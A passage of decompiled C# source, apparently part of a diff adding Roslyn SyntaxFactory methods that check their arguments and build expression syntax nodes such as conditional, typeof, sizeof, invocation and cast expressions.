SyntaxKind.AmpersandEqualsToken, + SyntaxKind.ExclusiveOrAssignmentExpression => SyntaxKind.CaretEqualsToken, + SyntaxKind.OrAssignmentExpression => SyntaxKind.BarEqualsToken, + SyntaxKind.LeftShiftAssignmentExpression => SyntaxKind.LessThanLessThanEqualsToken, + SyntaxKind.RightShiftAssignmentExpression => SyntaxKind.GreaterThanGreaterThanEqualsToken, + SyntaxKind.UnsignedRightShiftAssignmentExpression => SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken, + SyntaxKind.CoalesceAssignmentExpression => SyntaxKind.QuestionQuestionEqualsToken, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalExpressionSyntax ConditionalExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken questionToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax whenTrue, SyntaxToken colonToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax whenFalse) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + if (questionToken.Kind() != SyntaxKind.QuestionToken) + { + throw new ArgumentException("questionToken"); + } + if (whenTrue == null) + { + throw new ArgumentNullException("whenTrue"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + if (whenFalse == null) + { + throw new ArgumentNullException("whenFalse"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConditionalExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green, (SyntaxToken)(object)((SyntaxToken)(ref questionToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)whenTrue).Green, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)whenFalse).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalExpressionSyntax ConditionalExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax whenTrue, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax whenFalse) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ConditionalExpression(condition, Token(SyntaxKind.QuestionToken), whenTrue, Token(SyntaxKind.ColonToken), whenFalse); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThisExpressionSyntax ThisExpression(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (token.Kind() != SyntaxKind.ThisKeyword) + { + throw new ArgumentException("token"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ThisExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ThisExpression((SyntaxToken)(object)((SyntaxToken)(ref token)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThisExpressionSyntax ThisExpression() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ThisExpression(Token(SyntaxKind.ThisKeyword)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BaseExpressionSyntax BaseExpression(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (token.Kind() != SyntaxKind.BaseKeyword) + { + throw new ArgumentException("token"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BaseExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BaseExpression((SyntaxToken)(object)((SyntaxToken)(ref token)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BaseExpressionSyntax BaseExpression() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return BaseExpression(Token(SyntaxKind.BaseKeyword)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LiteralExpressionSyntax LiteralExpression(SyntaxKind kind, SyntaxToken token) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8748 > (SyntaxKind)8) + { + throw new ArgumentException("kind"); + } + switch (token.Kind()) + { + default: + throw new ArgumentException("token"); + case SyntaxKind.NullKeyword: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.DefaultKeyword: + case SyntaxKind.ArgListKeyword: + case SyntaxKind.NumericLiteralToken: + case SyntaxKind.CharacterLiteralToken: + case SyntaxKind.StringLiteralToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.Utf8StringLiteralToken: + case SyntaxKind.Utf8SingleLineRawStringLiteralToken: + case SyntaxKind.Utf8MultiLineRawStringLiteralToken: + return (Microsoft.CodeAnalysis.CSharp.Syntax.LiteralExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LiteralExpression(kind, (SyntaxToken)(object)((SyntaxToken)(ref token)).Node)).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MakeRefExpressionSyntax MakeRefExpression(SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.MakeRefKeyword) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.MakeRefExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MakeRefExpression((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MakeRefExpressionSyntax MakeRefExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return MakeRefExpression(Token(SyntaxKind.MakeRefKeyword), Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeExpressionSyntax RefTypeExpression(SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.RefTypeKeyword) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RefTypeExpression((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeExpressionSyntax RefTypeExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return RefTypeExpression(Token(SyntaxKind.RefTypeKeyword), Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefValueExpressionSyntax RefValueExpression(SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken comma, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.RefValueKeyword) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (comma.Kind() != SyntaxKind.CommaToken) + { + throw new ArgumentException("comma"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RefValueExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RefValueExpression((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref comma)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefValueExpressionSyntax RefValueExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return RefValueExpression(Token(SyntaxKind.RefValueKeyword), Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CommaToken), type, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CheckedExpressionSyntax CheckedExpression(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8762 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + SyntaxKind syntaxKind = keyword.Kind(); + if (syntaxKind - 8379 > SyntaxKind.List) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CheckedExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CheckedExpression(kind, (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CheckedExpressionSyntax CheckedExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return CheckedExpression(kind, Token(GetCheckedExpressionKeywordKind(kind)), Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CloseParenToken)); + } + + private static SyntaxKind GetCheckedExpressionKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.CheckedExpression => SyntaxKind.CheckedKeyword, + SyntaxKind.UncheckedExpression => SyntaxKind.UncheckedKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultExpressionSyntax DefaultExpression(SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.DefaultKeyword) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DefaultExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DefaultExpression((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultExpressionSyntax DefaultExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return DefaultExpression(Token(SyntaxKind.DefaultKeyword), Token(SyntaxKind.OpenParenToken), type, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeOfExpressionSyntax TypeOfExpression(SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.TypeOfKeyword) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeOfExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeOfExpression((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeOfExpressionSyntax TypeOfExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return TypeOfExpression(Token(SyntaxKind.TypeOfKeyword), Token(SyntaxKind.OpenParenToken), type, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SizeOfExpressionSyntax SizeOfExpression(SyntaxToken keyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.SizeOfKeyword) + { + throw new ArgumentException("keyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SizeOfExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SizeOfExpression((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SizeOfExpressionSyntax SizeOfExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return SizeOfExpression(Token(SyntaxKind.SizeOfKeyword), Token(SyntaxKind.OpenParenToken), type, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InvocationExpressionSyntax InvocationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax argumentList) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InvocationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InvocationExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)argumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InvocationExpressionSyntax InvocationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return InvocationExpression(expression, ArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElementAccessExpressionSyntax ElementAccessExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax argumentList) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ElementAccessExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElementAccessExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax)(object)((SyntaxNode)argumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElementAccessExpressionSyntax ElementAccessExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ElementAccessExpression(expression, BracketedArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax ArgumentList(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ArgumentList((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(arguments.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax ArgumentList(SeparatedSyntaxList arguments = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ArgumentList(Token(SyntaxKind.OpenParenToken), arguments, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax BracketedArgumentList(SyntaxToken openBracketToken, SeparatedSyntaxList arguments, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BracketedArgumentList((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(arguments.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax BracketedArgumentList(SeparatedSyntaxList arguments = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return BracketedArgumentList(Token(SyntaxKind.OpenBracketToken), arguments, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentSyntax Argument(Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax? nameColon, SyntaxToken refKindKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = refKindKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8360 > (SyntaxKind)2) + { + throw new ArgumentException("refKindKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Argument((nameColon == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameColonSyntax)(object)((SyntaxNode)nameColon).Green), (SyntaxToken)(object)((SyntaxToken)(ref refKindKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentSyntax Argument(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Argument(null, default(SyntaxToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionColonSyntax ExpressionColon(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken colonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionColonSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ExpressionColon((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax NameColon(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name, SyntaxToken colonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.NameColon((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IdentifierNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax DeclarationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDesignationSyntax designation) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (designation == null) + { + throw new ArgumentNullException("designation"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DeclarationExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDesignationSyntax)(object)((SyntaxNode)designation).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CastExpressionSyntax CastExpression(SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CastExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CastExpression((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, 